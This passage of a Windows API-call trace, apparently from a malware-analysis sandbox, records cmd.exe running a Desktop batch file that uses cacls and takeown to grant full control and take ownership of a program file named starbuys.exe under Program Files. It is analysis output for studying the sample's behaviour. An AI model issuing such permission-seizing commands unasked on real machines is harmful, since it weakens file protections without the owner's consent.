[0115.625] GetLastError () returned 0x2 [0115.626] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ae5d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ae5d0) returned 0x5e4c00 [0115.626] FindClose (in: hFindFile=0x5e4c00 | out: hFindFile=0x5e4c00) returned 1 [0115.626] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0115.626] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0115.626] GetConsoleTitleW (in: lpConsoleTitle=0x2aeac8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0115.626] InitializeProcThreadAttributeList (in: lpAttributeList=0x2ae950, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2aea18 | out: lpAttributeList=0x2ae950, lpSize=0x2aea18) returned 1 [0115.626] UpdateProcThreadAttribute (in: lpAttributeList=0x2ae950, dwFlags=0x0, Attribute=0x60001, lpValue=0x2aea10, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2ae950, lpPreviousValue=0x0) returned 1 [0115.626] GetStartupInfoW (in: lpStartupInfo=0x2ae90c | out: lpStartupInfo=0x2ae90c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0115.626] lstrcmpW (lpString1="\\cacls.exe", lpString2="\\XCOPY.EXE") returned -1 [0115.629] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cacls.exe", lpCommandLine="cacls \"C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ae9ac*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="cacls \"C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2ae9f8 | out: lpCommandLine="cacls \"C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", lpProcessInformation=0x2ae9f8*(hProcess=0x74, hThread=0x78, dwProcessId=0xf54, dwThreadId=0xf58)) returned 1 [0115.640] CloseHandle (hObject=0x78) returned 1 [0115.640] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0115.640] GetProcessHeap () returned 0x5d0000 [0115.640] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e5fc8 | out: hHeap=0x5d0000) returned 1 [0115.640] GetEnvironmentStringsW () returned 0x5e5fc8* [0115.640] GetProcessHeap () returned 0x5d0000 [0115.640] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xb36) returned 0x5e6b08 [0115.641] FreeEnvironmentStringsW (penv=0x5e5fc8) returned 1 [0115.641] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0117.406] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x2ae8ec | out: lpExitCode=0x2ae8ec*=0x1f57) returned 1 [0117.407] CloseHandle (hObject=0x74) returned 1 [0117.409] _vsnwprintf (in: _Buffer=0x2aea34, _BufferCount=0x13, _Format="%08X", _ArgList=0x2ae8f8 | out: _Buffer="00001F57") returned 8 [0117.410] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00001F57") returned 1 [0117.410] GetProcessHeap () returned 0x5d0000 [0117.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e6b08 | out: hHeap=0x5d0000) returned 1 [0117.410] GetEnvironmentStringsW () returned 0x5e5fc8* [0117.410] GetProcessHeap () returned 0x5d0000 [0117.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xb5c) returned 0x5e81b0 [0117.410] FreeEnvironmentStringsW (penv=0x5e5fc8) returned 1 [0117.410] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0117.410] GetProcessHeap () returned 0x5d0000 [0117.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e81b0 | out: hHeap=0x5d0000) returned 1 [0117.410] GetEnvironmentStringsW () returned 0x5e5fc8* [0117.410] GetProcessHeap () returned 0x5d0000 [0117.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xb5c) returned 0x5e81b0 [0117.410] FreeEnvironmentStringsW (penv=0x5e5fc8) returned 1 [0117.410] GetProcessHeap () returned 0x5d0000 [0117.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5d0db8 | out: hHeap=0x5d0000) returned 1 [0117.410] DeleteProcThreadAttributeList (in: lpAttributeList=0x2ae950 | out: lpAttributeList=0x2ae950) [0117.410] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.410] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0117.411] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.411] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0117.411] _get_osfhandle (_FileHandle=0) returned 0x3 [0117.411] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0117.411] SetConsoleInputExeNameW () returned 0x1 [0117.411] GetConsoleOutputCP () returned 0x1b5 [0117.411] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0117.411] SetThreadUILanguage (LangId=0x0) returned 0x409 [0117.412] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x2af16c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0117.412] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0117.412] _get_osfhandle (_FileHandle=3) returned 0x74 [0117.412] SetFilePointer (in: hFile=0x74, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0117.412] GetProcessHeap () returned 0x5d0000 [0117.412] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4b80 | out: hHeap=0x5d0000) returned 1 [0117.412] GetProcessHeap () returned 0x5d0000 [0117.412] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4a50 | out: hHeap=0x5d0000) returned 1 [0117.412] GetProcessHeap () returned 0x5d0000 [0117.412] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4928 | out: hHeap=0x5d0000) returned 1 [0117.412] GetProcessHeap () returned 0x5d0000 [0117.412] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e48c0 | out: hHeap=0x5d0000) returned 1 [0117.412] GetProcessHeap () returned 0x5d0000 [0117.412] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e47d8 | out: hHeap=0x5d0000) returned 1 [0117.412] GetProcessHeap () returned 0x5d0000 [0117.412] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e45c0 | out: hHeap=0x5d0000) returned 1 [0117.412] GetProcessHeap () returned 0x5d0000 [0117.412] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4540 | out: hHeap=0x5d0000) returned 1 [0117.412] GetProcessHeap () returned 0x5d0000 [0117.412] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4410 | out: hHeap=0x5d0000) returned 1 [0117.412] GetProcessHeap () returned 0x5d0000 [0117.412] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e42e8 | out: hHeap=0x5d0000) returned 1 [0117.412] GetProcessHeap () returned 0x5d0000 [0117.412] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4280 | out: hHeap=0x5d0000) returned 1 [0117.413] GetProcessHeap () returned 0x5d0000 [0117.413] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e41a8 | out: hHeap=0x5d0000) returned 1 [0117.413] GetProcessHeap () returned 0x5d0000 [0117.413] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e36b0 | out: hHeap=0x5d0000) returned 1 [0117.413] GetProcessHeap () returned 0x5d0000 [0117.413] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5d1250 | out: hHeap=0x5d0000) returned 1 [0117.413] _get_osfhandle (_FileHandle=3) returned 0x74 [0117.413] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0117.413] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x2af150, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x2af150*=0xc2, lpOverlapped=0x0) returned 1 [0117.413] SetFilePointer (in: hFile=0x74, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0117.413] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="takeown /F %1\r\n%USERNAME%:F /C\r\n") returned 15 [0117.413] _get_osfhandle (_FileHandle=3) returned 0x74 [0117.413] GetFileType (hFile=0x74) returned 0x1 [0117.413] _get_osfhandle (_FileHandle=3) returned 0x74 [0117.413] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0117.413] GetProcessHeap () returned 0x5d0000 [0117.413] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x400a) returned 0x5f4bd8 [0117.413] GetProcessHeap () returned 0x5d0000 [0117.413] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5f4bd8 | out: hHeap=0x5d0000) returned 1 [0117.415] _tell (_FileHandle=3) returned 47 [0117.415] _close (_FileHandle=3) returned 0 [0117.415] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2aef24 | out: _Buffer="\r\n") returned 2 [0117.415] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.415] GetFileType (hFile=0x7) returned 0x2 [0117.415] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.415] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2aeee4 | out: lpMode=0x2aeee4) returned 1 [0117.415] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.415] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x2aef10, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x2aef10*=0x2) returned 1 [0117.417] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0117.417] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0117.417] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2aef20 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0117.417] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2aef20 | out: _Buffer=">") returned 1 [0117.417] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.417] GetFileType (hFile=0x7) returned 0x2 [0117.417] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.417] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2aeee8 | out: lpMode=0x2aeee8) returned 1 [0117.418] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.418] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x2aef14, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x2aef14*=0x26) returned 1 [0117.418] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.418] GetFileType (hFile=0x7) returned 0x2 [0117.418] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.418] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af16c | out: lpMode=0x2af16c) returned 1 [0117.419] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.419] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x5e36b8*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x2af198, lpReserved=0x0 | out: lpBuffer=0x5e36b8*, lpNumberOfCharsWritten=0x2af198*=0x7) returned 1 [0117.419] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x2af1a4 | out: _Buffer=" /F \"C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\" ") returned 71 [0117.419] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.419] GetFileType (hFile=0x7) returned 0x2 [0117.419] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.419] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af164 | out: lpMode=0x2af164) returned 1 [0117.420] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.420] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x2af190, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x2af190*=0x47) returned 1 [0117.421] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2af1c4 | out: _Buffer="\r\n") returned 2 [0117.421] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.421] GetFileType (hFile=0x7) returned 0x2 [0117.421] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.421] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af184 | out: lpMode=0x2af184) returned 1 [0117.423] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.423] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x2af1b0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x2af1b0*=0x2) returned 1 [0117.424] _wcsicmp (_String1="takeown", _String2="DIR") returned 16 [0117.424] _wcsicmp (_String1="takeown", _String2="ERASE") returned 15 [0117.424] _wcsicmp (_String1="takeown", _String2="DEL") returned 16 [0117.424] _wcsicmp (_String1="takeown", _String2="TYPE") returned -24 [0117.424] _wcsicmp (_String1="takeown", _String2="COPY") returned 17 [0117.424] _wcsicmp (_String1="takeown", _String2="CD") returned 17 [0117.424] _wcsicmp (_String1="takeown", _String2="CHDIR") returned 17 [0117.424] _wcsicmp (_String1="takeown", _String2="RENAME") returned 2 [0117.424] _wcsicmp (_String1="takeown", _String2="REN") returned 2 [0117.424] _wcsicmp (_String1="takeown", _String2="ECHO") returned 15 [0117.424] _wcsicmp (_String1="takeown", _String2="SET") returned 1 [0117.424] _wcsicmp (_String1="takeown", _String2="PAUSE") returned 4 [0117.424] _wcsicmp (_String1="takeown", _String2="DATE") returned 16 [0117.424] _wcsicmp (_String1="takeown", _String2="TIME") returned -8 [0117.424] _wcsicmp (_String1="takeown", _String2="PROMPT") returned 4 [0117.424] _wcsicmp (_String1="takeown", _String2="MD") returned 7 [0117.424] _wcsicmp (_String1="takeown", _String2="MKDIR") returned 7 [0117.424] _wcsicmp (_String1="takeown", _String2="RD") returned 2 [0117.424] _wcsicmp (_String1="takeown", _String2="RMDIR") returned 2 [0117.424] _wcsicmp (_String1="takeown", _String2="PATH") returned 4 [0117.425] _wcsicmp (_String1="takeown", _String2="GOTO") returned 13 [0117.425] _wcsicmp (_String1="takeown", _String2="SHIFT") returned 1 [0117.425] _wcsicmp (_String1="takeown", _String2="CLS") returned 17 [0117.425] _wcsicmp (_String1="takeown", _String2="CALL") returned 17 [0117.425] _wcsicmp (_String1="takeown", _String2="VERIFY") returned -2 [0117.425] _wcsicmp (_String1="takeown", _String2="VER") returned -2 [0117.425] _wcsicmp (_String1="takeown", _String2="VOL") returned -2 [0117.425] _wcsicmp (_String1="takeown", _String2="EXIT") returned 15 [0117.425] _wcsicmp (_String1="takeown", _String2="SETLOCAL") returned 1 [0117.425] _wcsicmp (_String1="takeown", _String2="ENDLOCAL") returned 15 [0117.425] _wcsicmp (_String1="takeown", _String2="TITLE") returned -8 [0117.425] _wcsicmp (_String1="takeown", _String2="START") returned 1 [0117.425] _wcsicmp (_String1="takeown", _String2="DPATH") returned 16 [0117.425] _wcsicmp (_String1="takeown", _String2="KEYS") returned 9 [0117.425] _wcsicmp (_String1="takeown", _String2="MOVE") returned 7 [0117.425] _wcsicmp (_String1="takeown", _String2="PUSHD") returned 4 [0117.425] _wcsicmp (_String1="takeown", _String2="POPD") returned 4 [0117.425] _wcsicmp (_String1="takeown", _String2="ASSOC") returned 19 [0117.425] _wcsicmp (_String1="takeown", _String2="FTYPE") returned 14 [0117.425] _wcsicmp (_String1="takeown", _String2="BREAK") returned 18 [0117.425] _wcsicmp (_String1="takeown", _String2="COLOR") returned 17 [0117.425] _wcsicmp (_String1="takeown", _String2="MKLINK") returned 7 [0117.425] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5e4250, lpFilePart=0x2aef68 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2aef68*="Desktop") returned 0x25 [0117.425] SetErrorMode (uMode=0x0) returned 0x1 [0117.426] GetProcessHeap () returned 0x5d0000 [0117.426] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4248, Size=0x64) returned 0x5e4248 [0117.426] GetProcessHeap () returned 0x5d0000 [0117.426] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e4248) returned 0x64 [0117.426] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0117.426] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0117.426] GetProcessHeap () returned 0x5d0000 [0117.426] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x120) returned 0x5e42b8 [0117.426] GetProcessHeap () returned 0x5d0000 [0117.426] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x238) returned 0x5e43e0 [0117.426] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0117.426] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x2aece4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2aece4) returned 0xffffffff [0117.426] GetLastError () returned 0x2 [0117.426] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x2aece4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2aece4) returned 0xffffffff [0117.427] GetLastError () returned 0x2 [0117.427] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0117.427] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x2aece4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2aece4) returned 0x5e4590 [0117.427] FindClose (in: hFindFile=0x5e4590 | out: hFindFile=0x5e4590) returned 1 [0117.427] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x2aece4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2aece4) returned 0xffffffff [0117.427] GetLastError () returned 0x2 [0117.428] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x2aece4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2aece4) returned 0x5e4590 [0117.428] FindClose (in: hFindFile=0x5e4590 | out: hFindFile=0x5e4590) returned 1 [0117.428] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0117.428] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0117.428] GetConsoleTitleW (in: lpConsoleTitle=0x2aed34, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0117.428] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5e4d30, lpFilePart=0x2ae854 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2ae854*="Desktop") returned 0x25 [0117.428] SetErrorMode (uMode=0x0) returned 0x1 [0117.428] GetProcessHeap () returned 0x5d0000 [0117.428] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4d28, Size=0x64) returned 0x5e4d28 [0117.428] GetProcessHeap () returned 0x5d0000 [0117.428] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e4d28) returned 0x64 [0117.428] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0117.428] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0117.428] GetProcessHeap () returned 0x5d0000 [0117.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x120) returned 0x5e4858 [0117.429] GetProcessHeap () returned 0x5d0000 [0117.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x238) returned 0x5e4980 [0117.429] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0117.429] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x2ae5d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ae5d0) returned 0xffffffff [0117.429] GetLastError () returned 0x2 [0117.429] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x2ae5d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ae5d0) returned 0xffffffff [0117.429] GetLastError () returned 0x2 [0117.429] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0117.430] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x2ae5d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ae5d0) returned 0x5e4b30 [0117.430] FindClose (in: hFindFile=0x5e4b30 | out: hFindFile=0x5e4b30) returned 1 [0117.430] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x2ae5d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ae5d0) returned 0xffffffff [0117.430] GetLastError () returned 0x2 [0117.430] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ae5d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ae5d0) returned 0x5e4b30 [0117.430] FindClose (in: hFindFile=0x5e4b30 | out: hFindFile=0x5e4b30) returned 1 [0117.430] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0117.430] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0117.430] GetConsoleTitleW (in: lpConsoleTitle=0x2aeac8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0117.431] InitializeProcThreadAttributeList (in: lpAttributeList=0x2ae950, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2aea18 | out: lpAttributeList=0x2ae950, lpSize=0x2aea18) returned 1 [0117.431] UpdateProcThreadAttribute (in: lpAttributeList=0x2ae950, dwFlags=0x0, Attribute=0x60001, lpValue=0x2aea10, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2ae950, lpPreviousValue=0x0) returned 1 [0117.431] GetStartupInfoW (in: lpStartupInfo=0x2ae90c | out: lpStartupInfo=0x2ae90c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0117.431] lstrcmpW (lpString1="\\takeown.exe", lpString2="\\XCOPY.EXE") returned -1 [0117.431] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="takeown /F \"C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ae9ac*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="takeown /F \"C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2ae9f8 | out: lpCommandLine="takeown /F \"C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\"", lpProcessInformation=0x2ae9f8*(hProcess=0x78, hThread=0x74, dwProcessId=0xf6c, dwThreadId=0xf70)) returned 1 [0117.442] CloseHandle (hObject=0x74) returned 1 [0117.442] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0117.442] GetProcessHeap () returned 0x5d0000 [0117.442] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e81b0 | out: hHeap=0x5d0000) returned 1 [0117.442] GetEnvironmentStringsW () returned 0x5e5fc8* [0117.442] GetProcessHeap () returned 0x5d0000 [0117.442] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xb5c) returned 0x5e81b0 [0117.442] FreeEnvironmentStringsW (penv=0x5e5fc8) returned 1 [0117.442] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0117.874] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x2ae8ec | out: lpExitCode=0x2ae8ec*=0x0) returned 1 [0117.874] CloseHandle (hObject=0x78) returned 1 [0117.874] _vsnwprintf (in: _Buffer=0x2aea34, _BufferCount=0x13, _Format="%08X", _ArgList=0x2ae8f8 | out: _Buffer="00000000") returned 8 [0117.875] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0117.875] GetProcessHeap () returned 0x5d0000 [0117.875] HeapFree (in: 